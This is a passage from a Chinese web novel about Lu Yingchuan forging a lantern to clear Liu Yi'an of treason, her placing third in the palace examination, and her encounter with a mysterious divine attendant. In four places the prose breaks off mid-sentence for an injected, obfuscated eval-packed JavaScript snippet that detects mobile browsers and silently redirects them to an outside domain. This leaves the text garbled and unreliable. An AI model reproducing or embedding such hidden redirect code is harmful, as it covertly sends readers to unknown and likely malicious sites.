陆映川已经安排了亲信去寻手艺好的制灯匠,又吩咐了下人去仓库寻找相似的材料,下定决心要在明日审讯前将花灯赶制出来。 在等待的间隙,陆映川向方轻尘问起了这个花灯的由来。 “你能给我讲讲这个花灯究竟是怎么一回事吗?它是怎么被柳女君得到的?” 方轻尘将玉锦斋花灯的来龙去脉讲给了陆映川,说到了这个花灯有多么难得,每年有多少人翘首以盼,妄图高价收购。 又讲到了他是如何在花灯节的晚上巧遇柳忆安,正好目睹了她赢下了花灯的瞬间。 “你是说,这个花灯是柳女君赢下想要赠给当时的夫郎的?”听了方轻尘的描述,陆映川问道,语气中带着一丝醋意。 方轻尘点点头,假装没听出对方话里的情绪。 陆映川轻声“哼”了一下,没再说些什么。 方轻尘又继续讲了这个花灯为何最后没送出去,最后又如何留在了自己手上。 听完,陆映川神色复杂地扫视了方轻尘一眼。 他原本以为方轻尘是入了柳府后才喜欢上柳忆安的,现在看,他应该早就芳心暗许了。否则为何会偷偷捡了花灯,花了这么大力气修好,还没让任何人知晓。 不过现下他没空关心这种小事,将柳忆安赶紧救出来才是当下最紧要的。 从方轻尘的描述里,陆映川得出结论,这盏灯几乎没什么人仔细瞧过,所以没人知道柳忆安从玉锦斋掌柜手中接过的花灯到底有没有问题。 没有证人,这件事就好办多了。 深夜,亲信将三名制灯匠偷偷带进了府里,让她们连夜赶制出了花灯,除了上面不再绣有顺朝余党的标记,其余的细节简直一模一样。 陆映川给了这三位匠人一大笔钱,足够她们下半生衣食无忧。 “你们拿了钱,该说什么不该说什么心里要有数,离开京城,在别的地方生活,这笔钱能让你们和家人生活得很好。”陆映川一边玩弄着一把匕首,一边威胁道,“若是走漏了一点风声,你们的下场不用我说了吧。” 三位匠人露出讨好的笑容,恭敬道:“我们心里有数,多谢老板,多谢老板。” 这笔钱是她们做一辈子灯也挣不来的数,有了这笔钱,她们也不想再留在京城,只想衣锦还乡。 趁着深夜,亲信将这三个匠人送出了城,没留下任何踪迹。 陆映川看着仿制的花灯,终于松了口气。 等到白天,陆映昭就要去东宫,将此事和之前客栈中毒的事讲给太女。有人企图陷害会试榜首,插手科举一事,此举足以引起太女重视,借由太女之手才能压制住这群人背后的权势。 而他,有了这盏花灯,就有了为柳忆安洗脱罪名的说法。 在柳忆安被刑部带走前,他并没有感受到自己对柳忆安有多深的情意。 不过是刚好遇到一个年纪相仿,性子契合,不会被皇帝忌惮且前途光明的女郎罢了。 也许自己是动了心,但是他自以为自己之所以选了柳忆安,是出于理智的决定。如果遇到一个更合适的人选,自己会毫不犹豫地嫁给旁人。 可是当柳忆安被带走的那一刻,他的身体比头脑先给出了答案。 在陆映昭和刑部差役交涉的时候,他已经换好了夜行衣,蹲在无人注意的屋顶角落。 随后,他悄悄尾随着柳忆安到了刑部大牢,一路上把所有的营救方法都想了一遍。 经过这段时日的相处,他自认已经很了解柳忆安的为人,他相信她是无辜的,他一定会把她救出来,不论任何手段。 至于原来的这盏灯,一定要完全销毁,不留一点痕迹才行。 “这盏灯必须销毁。”陆映川看着原来的那盏灯,对着方轻尘斩钉截铁地说道。 “我来吧。” 方轻尘拿起那盏灯,手指在灯面上轻轻摩挲,最后瞧了几眼。 当时他偷偷把碎片拿回家,又是拼凑又是缝补,花了半个月才将那一堆碎片修复成原来的模样。 现在,他又要亲手将自己付出的心血销毁得一丝不留。 随着“啪”的一声,那盏灯被方轻尘狠狠砸到了地上,又变成了一地的残骸。 随后,两人又找来一个火盆,将那些残骸烧得只剩灰烬。 被人用来陷害柳忆安的花灯,没能留下任何痕迹。 *** 第二天一早,陆映昭拿着收集的证据,去东宫找了太女。 之前,她不愿麻烦那个小时候一起玩耍过的朋友,可敌人步步紧逼,她不愿让奸人逍遥太久。 而陆映川则在府中等着刑部那边的消息,只有等刑部主事问起花灯的事,他才能带着证据及时赶去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025255|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 书房里,陆映川和方轻尘心急如焚地等待着。直到午时,终于传来了消息——刑部主事果然提到了那盏花灯。 不多时,陆映川便带着花灯到了刑部。 刑部大堂之上,主事官威严端坐,堂下跪着神色平静的柳忆安。 看见柳忆安跪地的身影,陆映川的心忽地一紧,他努力控制了即将失控的表情,神情看似淡漠地走到了主事官前,将花灯放到了案台上。 “听说大人在找这盏灯?我拿来了。” 主事眼底一亮,却装作漫不经心地开口:“哦?拿来本官瞧瞧。” 今日这桩差事实在是难做,上头接到消息,说会试的榜首和顺朝余孽有过往来,曾在众目睽睽之下借着花灯传递消息。 经过今日的审问,主事发现,除了那盏灯,柳忆安似乎没有和对方有过其他任何往来,唯一的问题就在那盏灯上。 可是那盏灯不见了,这就难办了。 很多人都看见柳忆安从玉锦斋掌柜手中接过了那盏灯,而且玉锦斋掌柜也确实为顺朝余党。 柳忆安是从陆府被带走的,她并不想凭空定下柳忆安的罪名得罪了陆将军,可上头一定要个说法,如果不能证明那盏灯没有问题,根据本朝的律法,疑罪从有,柳忆安确实是要被定下谋逆之罪。 对方身为会试榜首,这场审问必定会受到朝堂与民间各方的关注,审判必须慎之又慎才不会影响到自己的仕途。 陆映川这灯送得及时,有了这灯,一切是非皆有了落点,做出的判决便没了争议。 主事翻来覆去地将花灯检查了好几遍,确定这只是一盏普通的灯,没有任何可疑之处。 随后,她又询问了几位花灯节当晚在云州城的证人,证人们仔细看过花灯后,皆表示这与她们当晚所见相差无几。 一套流程走完后,主事当着众人的面宣布:“既是如此,柳女君的嫌疑就被洗清了,刑部按章程办事,多有得罪,还请柳女君体谅。” 柳忆安想站起来,可是因为在地上跪了太久,膝盖有些发软,不由得趔趄了两步。 见状,陆映川一个箭步上前,毫不犹豫地弯腰将柳忆安抱起。 这一切发生得太快,柳忆安根本来不及拒绝。 “人我带走了。” 扔下这句话后,陆映川便带着柳忆安飞身上马,在众目睽睽之下往陆府疾驰而去。 周围的群众目睹这一幕,先是愣了片刻,随即炸开了锅。 “这人是谁啊?” “不认识啊,看他的穿着,应该非富即贵吧。” “猜都能猜到,这人肯定是新回京的陆家二爷啊,世上有几个男子敢在街上骑马,只有那个夜叉才敢。” “这柳女郎,昨日才得了会试榜首,今日就高攀上了陆府?” “说不定是那陆家的夜叉先看上了人家柳女君,都多大年纪了,再不嫁出去,都要年老色衰了。” “小点声儿,别让陆府的人听见了。” …… 陆家二爷在刑部大堂当众抱走会试榜首的事情,很快便传遍了整个京城。 一时间,酒楼茶肆、街头巷尾,都在议论陆映川和柳忆安。 41. 关心则乱 陆映昭求见太女时,元徽容正在翻阅属下呈上的关于顺朝余党情报。 听到下人来报陆将军求见,她佯怒道:“让她在外面等着,等到我心情好了再让她进来。” “怎么,谁惹我家太女殿下了,怎么气成这样?” 陆映昭知道元徽容在同自己开玩笑,大摇大摆地走了进来。 元徽容白了她一眼,“还不是被陆大将军气得,你回京城这么久了都没想着来找我,一出事倒是想起我了。” “这不是刚回京就碰上事了。”陆映昭心中惭愧,连忙奉上一杯茶,“我今日就是来请罪的。” “这杯茶倒是识趣,先饶了你一次。”元徽容轻轻吹了吹茶盏,语气从漫不经心变得正色,“说罢,出了什么事。” “回京的第一天,我和川儿就在宝和客栈中了毒……” 陆映昭将回京后发生的一切同元徽容娓娓道来,最后提到了柳忆安昨夜被刑部带走的事。 “说实话,自从柳女君入住侯府,盯着侯府的眼线便多了起来,不知道是谁的人手,不过我暂时没有打草惊蛇。” “那个柳忆安你查过没?别真的有什么猫腻。”听完陆映昭的描述,元徽容对柳忆安有些顾虑。 “查了,她的家世背景我查得清清楚楚,至于她的婚嫁,川儿倒是查清楚了,也没什么问题。” “咳咳,”元徽容被茶水呛到,“哈哈哈哈哈,你说你弟弟,那个冰块儿脸,把别人的嫁娶查了个清楚?” “那又怎么了,他也到年纪了。这次回京,我正好想给他找个合适的人家。” “难怪你为了那个柳忆安入东宫找我,原来是未来的弟媳啊。”元徽容笑眯眯地打趣道。 “好了好了,先说正事。”陆映昭正色道,“我插手这位柳女君的事有别的原因,你还记不记得前年冬天,运到平洲的军饷都是以次充好的残次品?” “我记得此事。” 元徽容对这件事印象很深,当年边境局势非常紧张,这批物资非常关键。结果运到边境一看,衣服里的棉被换成了柳絮,粮食有一半都发了霉。 “这件事最后查出来,是当时负责运送的官员私自偷换了军饷,按律判了斩立决。我们都觉得她不过是被推出来的替罪羊而已,真正的主谋另有其人。” 元徽容点点头。 陆映昭继续解释:“这次找下毒的人,还真让我找到了和军饷案有关的线索。军饷案负责运送的那人,之前在丰陵做过几年的县丞。最近我放出了大量收购商陆的消息,发现好些游商都是从一个丰陵人手里收来的。” “丰陵?宁王的封地?” “没错,只是还需要进一步调查才知是不是巧合。”陆映昭露出讨好的笑容,“这不是该用到太女殿下的人手了,我在丰陵势孤力薄的,查不出什么了。” 元徽容被陆映昭逗笑,“陆将军都发话了,我只有听从的份儿。” 突然,外面有手下来报,元徽容听完手下的汇报后,眼带笑意地瞧了陆映昭一眼,说道:“你家陆二爷还真是不同寻常啊,众目睽睽之下抱着女子在街上纵马,民间都传开了。” “啊?”陆映昭拿着茶杯的手颤抖了一下,“这混小子,等我回去就教训他。” “男大当嫁,教训他做什么。”元徽容好不容易才瞧到了陆映川的热闹,“他要是真喜欢那个柳忆安,不如我帮他一把,求母皇赐个婚。” “倒也不急,等殿试后再说吧。” 提到殿试,元徽容脸色沉了下来,闷声道:“映昭,母皇近日越来越听信那个国师,何事都要向国师问上几句。我听属下汇报说,母皇有意让神侍决定殿试名次。” 陆映昭的神色也凝重了起来,“这…有些不妥吧?” “何止是有些,科举是何等重要的大事,怎能任由这些神棍说了算。”元徽容愤愤道,“定是那些神棍蛊惑了母皇。” “你不信国师?” 元徽容摇摇头,“所谓神意,不过是给百姓的一个慰藉,如何当真?若真是事事都被她说中,必定是有人在背后推波助澜。这些原是母皇讲给我的,可是如今她自己却…” 房间里陷入了沉默,能让一个原本不信鬼神的人变得事事皆要过问天意,那个国师一定不简单。 最后还是陆映昭打破了沉闷的氛围。 “我真得回家教训教训那个浑小子了,做事没轻没重,搞出这些个热闹让人瞧。他也不想想,殿试在即,万一这些传言影响到柳女君该如何。” “哎呀,关心则乱,别教训狠了。”元徽容一边暗自偷笑,一边同陆映昭挥手道别,“你多保重。” *** 陆映川一路纵马,不过片刻便回到了陆府,他小心地将柳忆安抚下马,想送她回房,却见对方后退一步,拉开了距离。 “多谢映川。”柳忆安作揖谢道,“现下我已经恢复得差不多了,若再被人瞧见你我举止亲密,恐污了陆二爷清誉。” “随你。”见柳忆安疏离自己,陆映川心里虽有些不快,但终究没有表现出来,默默牵着马往马厩走去。 柳忆安想知道昨夜自己在牢里时陆府发生了什么,便跟在陆映川后面问道:“你能同我讲一遍昨晚府里发生了什么吗?那个花灯你们是怎么做的?竟然一模一样。” 提到昨晚,陆映川脑海中闪过方轻尘一针一线拼好的花灯,心头微微一滞,心里有些纠结是否要将此事告知柳忆安。 “不过是找了几个手艺精湛的制灯匠,连夜赶制罢了。” 回答完,陆映川终究是过不去心里那一关,将方轻尘的所作所为如实交代了出来。 “你之前赢来的那盏灯,撞碎后被方公子拾起来了,他缝补好了那盏灯,一直放在随身的包裹里。” 柳忆安心里一惊,她还记得那灯被车碾后的残破模样,难以想象得付出多少努力才能复原。 见柳忆安迟迟没有回应,陆映川回来看了她一眼,看见她一脸不可思议的样子,心里有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031508|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发酸。 被陆映川瞥了一眼,柳忆安惊觉自己不应在这个时候走神,连忙回应道:“原是如此,也多亏了陆将军和陆二爷出手救我,在下一定铭记二位的恩情,赴汤蹈火在所不辞。” “不需要你赴汤蹈火,你若真想感谢……算了,不需要你感谢,你帮姐姐好好查案吧。” 陆映川终是不好意思说出心里话,有些恼火地加快了脚步。 柳忆安被他的喜怒无常弄得一头雾水,不知道自己又哪里惹了他,不过她对此已经习以为常,知道陆映川看似冷漠,实则比谁都在意身边之人。 见陆映川不想搭理自己,柳忆安也不再自讨没趣,转身回了卧房,方轻尘正候在那里。 “忆安!你没事吧。”方轻尘听到了柳忆安的脚步声,起身迎了上去。 “多亏陆将军和陆二爷,我没什么事。对了,我想问你,那个花灯为何会在你那里。” 一个花灯,一个古籍,这两个被人用来诬陷自己谋反的东西,都在秋家人手里。 此事有些过于巧合,柳忆安不禁怀疑起来。 那个花灯被撞坏的时候,已经支离破碎,费那么大功夫将它复原,会不会是别有所图。 方轻尘轻轻一笑,话里却带着一丝难以察觉的苦涩:“因为……那是姑娘赢来的花灯,即使它变成碎片,对轻尘来说仍然是难得的宝物。” 柳忆安一怔,方轻尘眼中的认真让她无从开口,原本想要质问的话语哽在喉间。半晌,她终于开口问道:“仅仅是因为这个原因?” “仅仅是因为这个原因,若是我想害姑娘,直接将此灯交给刑部便是,又何必在这担惊受怕一夜。” 方轻尘的话让柳忆安回过神来,是了,他若是想害自己,大可不必这样费劲。 “对不起轻尘……昨夜在牢中待了一夜,有些疑神疑鬼了。”柳忆安带着满心的愧疚向方轻尘道歉。 方轻尘不愿看到柳忆安因怀疑了自己而自责,他看着柳忆安因一夜没睡而苍白的脸,心疼极了,鼓起勇气向前走了一步,将柳忆安抱在怀里。 “不用觉得对不起,你被人再三算计,就该如此警觉才对。”他轻轻地拍着柳忆安的后背,柔声安抚道。 柳忆安闻着方轻尘身上淡淡的中药香,心底那根绷得太久的弦终于松了下来。她轻轻吐出一口气,眼中闪过一丝疲惫,低声道:“轻尘……谢谢你。” 柳忆安眼底的防备渐渐散去,最终轻轻地靠在了方轻尘的肩上,不知在何时合上眼睡了过去。 方轻尘轻搂着柳忆安,一动也不敢动,时间仿佛在此刻静止。 过了许久,感受到柳忆安的呼吸声逐渐平稳,想来已经睡得沉稳。方轻尘屏住呼吸,轻轻将柳忆安抱到床上,替她掖好被角,目光不舍地停留片刻,才缓步退下。 在牢里担惊受怕一晚,肯定累坏了,需得为她熬碗补汤。 方轻尘从房间退了出去,准备前往厨房,一回头,看见陆映川正站在走廊尽头。 42. 探花 “今日多谢你了。”方轻尘走上前,向陆映川道谢。纵是看情敌再不顺眼,他也得承认多亏了他,柳忆安才能这么快脱罪。 陆映川却不愿接受他的感谢,径直走了过去,冷冷地留下一句;“不需要你感谢。” 眼看陆映川往屋里走去,方轻尘连忙阻拦:“她睡着了,别进屋打扰她。” “我知道,”陆映川顿了顿,忍下心中的不快,闷声道:“我要离京一段时日,最后再看她一眼就出发了。” *** 陆映川回府后,陆映昭立刻唤他去了书房,将她今日和太女殿下所讨论之事全都复述了一遍,最后她问道。 “我想让你带着影卫去丰陵来配合太女殿下。军饷一事是我心里过不去的坎,有你在,我才能放心。” “什么时候走。” 阿姐安排的任务,陆映川是不会拒绝的,只是他想等殿试后再动身。 “今晚。” “这么着急?”陆映川眉头紧锁,“离殿试不足一月。” 陆映昭立刻明白了他的顾虑,“你放心,太女殿下说了,会为你向皇帝求个赐婚。” 心事被阿姐一语道破,陆映川有些局促地撇过头,小声嘟囔道:“我没说是这件事。” “我还不了解你?你向来有什么便说什么,这么扭捏做什么?情场如战场,该正面出击的时候跑不得。”陆映昭一本正经地教育道,虽然她也未成过婚,但说起来却是头头是道。 “好了,我知道了,今晚出发就出发吧。”见陆映昭还有说下去的征兆,陆映川出言打断了她,“等查完游商的事情我就回来。” 领下命令,他便准备去同柳忆安道别。可还未走近,就目睹了她靠在方轻尘怀里睡着的一幕。 不过是自己和别人说了几句话的功夫,她就能靠在别人怀里睡着了? 陆映川心里烦闷,可又不想打扰她休息,硬是站在原地生着闷气,直到他眼睁睁瞧着方轻尘将她抱回床上,出了屋,才反应过来自己是来同柳忆安道别的。 自己也为了柳忆安熬了一夜,可最后只得了一句口头上的感谢。而那个姓方的,竟能抱着柳忆安哄她睡觉。 眼看方轻尘离自己越来越近,陆映川心里的不满越来越强烈,说出的话也多少带上了些敌意。 马上就要离京,他没时间再浪费在其他人身上了。 陆映川悄声走进房间,在床头席地而坐,静静地看着柳忆安的睡颜。 她睡得很沉,眉眼舒展,呼吸均匀,看起来是难得的安稳。 他安静地看着柳忆安,脑海中回忆着他与柳忆安相处的点点滴滴,回想自己是如何不自觉地被她吸引,变成如今这幅非她不可的样子。 脑中的思绪越来越汹涌,陆映川缓缓伸出手,指尖极轻地拂过她的发丝,替她拂去脸侧散落的几缕碎发。 “等我回来。” 陆映川低声说了一句,他也不知这句话究竟是说给柳忆安听的,还是说给自己听。 临走前,陆映川偷偷剪了柳忆安的一缕发丝,用布包好后藏在了胸口。 何时自己也有了这种小男儿的心思。 在意识到自己做了什么后,陆映川无奈地摇了摇头,似是在嘲讽自己幼稚的举动。可胸口的发丝却实打实地平息了自己内心的焦躁,不知为何,他总觉得这一趟远门会发生什么变故。 到了该出发的时候,陆映川翻身上马,带着影卫们连夜出了城,隐入无垠的夜色之中。 *** 在陆府的层层保护下,殿试前的一个月没有再发生什么事端。柳忆安每日待在卧房里温书,而方轻尘就静静陪在一旁,看自己带来的医书。 终于考完了殿试,到了发榜这一日。天未亮,众多考生已经候在太和殿外,等待殿试结果。 方轻尘陪着柳忆安候在宫殿门口,他感受到了柳忆安的紧张,他握住了柳忆安的手,轻柔地为她按摩着指节,希望能让她放松些。 柳忆安感受着方轻尘指尖的温度,紧绷的情绪缓和了几分。她抬眸看向对方,瞧见他全神贯注地为自己按摩指节,一双桃花眼间满是温情。 经过这一个月的朝夕相处,她发现自己已经同方轻尘亲近了不少,日常的相处中,她们已经不自觉地会贴近对方,和对方的身体接触也自然了许多。 如今,两人已经就算随意地牵起对方的手,也没人会觉得奇怪了。 直到宫里来人,宣考生进殿,两人才依依不舍地分别。 柳忆安随着众多考生迈步入宫,沿着青石铺就的御道缓缓前行。天光熹微,淡金色的日光洒落在琉璃瓦上,映出粼粼光泽,整座皇城在朝阳的辉映下显得无比威严。 大殿之上,皇帝端坐在龙椅上,俯视着所有人。文武百官分列站在两侧,都在用好奇的眼神打量着考生,心里猜测究竟谁能夺得一甲。 皇帝的目光掠过跪候在太和殿外的百名贡士,抬手示意司礼监掌印展开黄榜,随后尖锐的声音随之响起。 “天佑裕朝,第一甲赐进士及第——” 众人纷纷屏住了呼吸,皇帝执起朱砂笔,圈出第一个名字。 “一甲第一名,云州府萧韵!” 柳忆安猛地抬起头,之前她并未留意到萧韵的身影。 听到萧韵夺了状元,柳忆安心中为她感到欣喜,可还不到一会儿,就又担心起自己的名次。 就分神这一会儿工夫,第二名的名字已经念了过去,柳忆没来得及听清第二名是谁,就听到了自己的名字。 “一甲第三名,云州府柳忆安!” 宣读完一甲,三人上前行了三跪九叩大礼,听到皇帝开口:“云州是个好地方啊,一共三个人,两个人出自云州。” “回皇上,昔年先帝时,太傅许衡年迈告老,辞官归乡,便在云州城外设立此书院,以弘扬圣道,授徒讲学。太傅德高望重,学识渊博,吸引诸多英才前去求学,能有此番成绩也不奇怪。”一位身着文官朝服的官员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“正是,朝中正需要既通药理,又精于政务之才。柳探花才思敏捷,医术虽非专精,却也颇具慧眼,若能前往疫区,必能辅佐地方官员,助力朝廷尽快平息疫病,安抚民心。” 几句话下来,竟将柳忆安高高架起,进退两难。 “若是如此,那柳爱卿真是天赐良才。柳爱卿,你是否愿意以安抚使之职前往疫区,为朕分忧?” 殿内一片寂静,所有人的目光都落在柳忆安身上,等待着她的回应。 柳忆安心中微微一沉,她知道自己若是贸然拒绝,必然会落人口实,被扣上抗旨不遵、推诿不前的罪名。可若是贸然答应,疫区如今状况不明,她并不擅长医术,贸然前去,恐怕凶多吉少。 “臣自幼读圣贤书,知‘士以天下为己任’之理,陛下有命,臣自当竭尽所能,以安社稷。但臣并不擅长医术,救下陆将军不过是误打误撞。疫病之事,关乎百姓性命,臣怕自己贸然前去,不但不能救百姓于水火,反而贻误大事。” 听完柳忆安的话,那位大臣不依不饶,“柳探花何必妄自菲薄?安抚使一职并非让你治理疫病,而是行慰问协管之职,正需要柳探花这样的人才能胜任。若连你都不愿前往,那试问天下还有谁肯为朝廷分忧?” 说到这里,局势已经明了,此人看似劝谏,实为逼迫,她铁了心要让柳忆安前往疫区。 43. 谶言 “柳爱卿,朕封你为安抚使,派你去竹安县,行抚恤、调度、安民、镇抚之职,你可愿意?” 上个月,竹安县爆发了一种未知的疫病,受感染者皆体发高热,食不下咽,就算吃下去了东西,也会立刻吐出来,直到全身脱水而亡。当地的医官已经试过多种疗法,效果皆不佳。皇帝一直为此事头痛,直到殿试前,国师求见,说能解决此事的人就藏在这批贡士之中。 皇帝没有将国师的话告诉任何人,结果这柳探花竟真的略通医理,想来这就是国师所言之人。 看柳忆安还有些犹豫,皇帝不满地皱了皱眉。 “怎么了?是不愿意吗?有什么难处你说与朕听。” 感受到了帝王的不满,柳忆安不敢再推脱,跪下领命。 “臣愿尽绵薄之力,为陛下分忧,为百姓解困。” “好!这事就这么定了,明日便出发吧。”皇帝露出满意的神色,抬手示意柳忆安起身,“萧爱卿,关爱卿,柳爱卿,你们三位即刻前往问天阁焚香诰天,求得谶言。” 榜眼关寻真和柳忆安面面相觑,此前从未有过殿试后要焚香诰天的先例,不明白皇帝此言所为如何。 “臣遵旨。”萧韵率先躬身应道,眼中波澜不惊,似乎对此早有预料。 柳忆安和关寻真虽满腹疑惑,也只能低头领命:“臣等遵旨。” 随后,礼官带着她们三人往问天阁走去。 “萧姐姐,恭喜你夺得状元。”从大殿出来后,柳忆安连忙向萧韵贺喜,自书院关门,她已经许久未见到萧韵,如今在京中重逢,萧姐姐还夺得了状元,柳忆安虽然有些意外,但更多的是惊喜。 “许久不见,也恭喜忆安妹妹夺得探花。我听说妹妹如今投到了陆将军麾下?” “只是借住在陆府罢了,大家都是为了皇帝和裕朝效力。” 柳忆安从萧韵的话中觉察出一丝不对,两人久别重逢,萧韵是如何得知自己和陆将军有来往的。 如果她早就知道自己住在陆府,又为何迟迟未曾联系过自己。两人在万明书院的时候是最好的朋友,吃住都在一起,若是自己先得知萧韵在京中的住处,一定会上门拜访。 萧韵没有从柳忆安的口中问出什么,故作无奈地笑道:“妹妹刚入官场,说话都变得圆滑了,显得我们姐妹二人生疏了一般。” “怎么会同姐姐生疏,我说的都是实话,陆将军平日里忙碌得很,哪里有空搭理我这个考生。” “妹妹如今高中,想来陆将军很快就会向妹妹伸出橄榄枝了。” “萧姐姐慎言,我等不敢结党营私。” 跟在一旁的关寻真看着眼前的两人你一句我一句,偷偷思索着二人的关系。乍一听,感觉这二人是同窗好友,可是越听越觉得这二人关系并不简单。 没来得及说上几句,礼官已经将她们带到了问天阁。 “几位大人,我们到了,接下来请依次去往顶楼,面见神侍,听候神谕。” 闻言,萧韵起身,“那我先上去了。” 说完,她便往顶楼走去,其余三人站在楼下等她。 大约一刻后,萧韵便下来了,她没有透露在顶楼究竟发生了什么,同众人作了揖后便告辞了。 “几位,我还有事,就先告辞了。忆安妹妹,你多多保重。” 第二个上去的人是关寻真,她也待了大约一刻的时间。 终于轮到柳忆安去面见所谓的“神侍”,她还记得上次在街上偶遇神侍时的一瞥。 她一直好奇,究竟何人才会长出那般银白发亮的头发。 随着楼层逐渐升高,光线也渐渐变得幽暗,只有窗棂投下的一道道微光。阁内寂静无声,只有踏在台阶上发出的咯吱声。 待走至顶楼,眼前的景象让柳忆安愣在原地。 顶楼并不宽敞,但从天井处洒下的光束正好铺满供着香炉的长案。殿堂正中央,端坐着一名身着白色长袍的男子,他的银白长发柔顺地垂落在身后,肤色因室内昏暗的光线显得格外苍白,一层白纱遮住了他的眼睛,让人看不清他的模样。 “姑娘请坐,”神侍缓缓开口道,“让我为姑娘求得谶言。” 神侍的声音让柳忆安回过神来,她跪坐在神侍面前的蒲团上,仔细打量着眼前这个容貌妖冶的男子,不由得陷入了回忆之中。 他的声音,让她想起了一位故人。 是秋川白。 可是秋川白绝不会有这般颜色的头发,皮肤也不会这般……没有任何血色,不像个活人。 见柳忆安直愣愣地看着自己,神侍露出浅笑,轻声道:“姑娘在看什么?” “我……”柳忆安赶紧寻找借口来掩饰自己的失态,“我想谢谢神侍请吃的豆花。” “哦?原来姑娘也尝到了豆花。”神侍一边摆弄着面前占卜用的龟甲,一边回道,“看来我和姑娘真是有缘。” “请问神侍大人尊姓大名?” 听到柳忆安的询问,神侍手抽动了一下,手里的龟甲掉落到了地上。 “这可不是个好意象,看来姑娘今后得多加小心了。”他捡起掉落到地上的龟甲,拍掉了上面的灰尘,用手摩挲着甲面,感受着上面的裂痕,“神侍之名,不在尘世之中。在进宫前,我名为‘慕青’。” “穆青…”柳忆安嘴里重复着他的名字,“请问是‘肃穆’的‘穆’,‘青色’的‘青’吗?” 神侍摇摇头,“是‘思慕’的‘慕’‘杨柳自青君貌改’的‘青’。” 说完,神侍在纸上写了些什么,随后将纸递给了柳忆安。 “这是姑娘的谶言,请姑娘看完后用香点燃此纸。” 柳忆安接过纸条,上面只写了一句“萧然夜雨敲心梦,暗影浮灯映旧痕。” 这算是什么谶言? “臣愚钝,还请神侍明示。”柳忆安不解。 神侍却不再说话,只示意她该去上香了。 柳忆安默默将那句话背了下来,随后按照对方的指示上香、插香,最后将纸烧成了灰。 等柳忆安做完这一切,神侍在她身后突然开口。 “姑娘,依你所见,裕朝今日诸多事端,是为天灾还是人祸?” “大概两者皆有吧。”柳忆安迟疑地回答,她不清楚对方的意图,只能含糊其词。 “依我所见,苍天有好生之德,如今种种,多为人祸。听闻姑娘被封了安抚使,不日将要前往竹安,还望姑娘多加小心。” 神侍缓步走到了柳忆安身边,阳光尽数洒在他身上,白长发泛着柔和的光晕,白纱下的面容若隐若现,轮廓精致得近乎妖异,宛如仙人下凡一般。 随着和神侍距离的不断拉近,柳忆安却觉得这位自称“慕青”的神侍,虽然外貌和秋川白大相径庭,但无论是说话的声音,还是周身的气质,都让她想起那个自己曾经喜欢过的人。 鬼使神差之下,她伸出手,拽掉了对方眼睛上蒙着的白纱。 一双浅金的眼眸赫然出现在柳忆安面前。 似乎被阳光刺激到了双眼,在眼睛暴露在阳光下的那一刻,慕青迅速地合上了双眼。 “抱歉,柳姑娘。蒙上面纱并非故作神秘,而是因为我的眼睛见不得强光,还请姑娘为我系上纱布。” “是我该说抱歉,实在对不起。我总觉得神侍大人很像我认识的一个故人,一时失了态,还请大人原谅。” 慕青退到了没有阳光的地方,低下头,等待柳忆安为他系上白纱。 “是吗?请问是一位什么样的故人呢,竟令姑娘如此魂牵梦萦。” 提起秋川白,柳忆安心情复杂,嗫嚅道:“是我的夫郎…前任夫郎,如今我们已经和离了。” “难怪姑娘会失神,一定是那个男子做错了事,姑娘才会和他和离吧。让姑娘想起不愉快的事了,抱歉。” “没有,”和离的事情已经过去很久,柳忆安不想在外人面前诋毁秋川白,“他没有做错什么,他只是……” 柳忆安一时语塞,她不知道该怎么形容秋川白。 柳忆安迟迟不语,慕青没有打扰她,而是静静等着下文。 “只是我并非他的良缘罢了,想来世间有更适合他的女子。” 话音落下,室内一时间静得可怕,唯有香炉中的青烟袅袅上升,散入空气之中。 良久,慕青才缓缓道:“那姑娘呢,姑娘如今可有寻到什么良缘?” 良缘? 柳忆安的脑海中不自觉地浮现出方轻尘的身影。 她从未刻意去思考过这个问题,可在慕青的询问下,她才惊觉,方轻尘在自己心中的地位早已发生了变化。若说一开始,她留下方轻尘的理由仅仅是感激和同情,如今她已有些离不开对方。 所有人都称她聪慧早熟,年纪轻轻便老成持重,唯有方轻尘,从她一本正经的话中听出暗藏其中的渴望,然后不声不响地,陪她走完一程又一程。 她逐渐迷上了在他面前成为小孩的感觉。 不过这些话她藏在了心里,没有同慕青说出来。 “良缘难觅,我也不例外。” 闻言,慕青暗暗用力的手指释然地放松了下来,他宽慰道:“姑娘莫急,时机到了自会相逢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068222|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 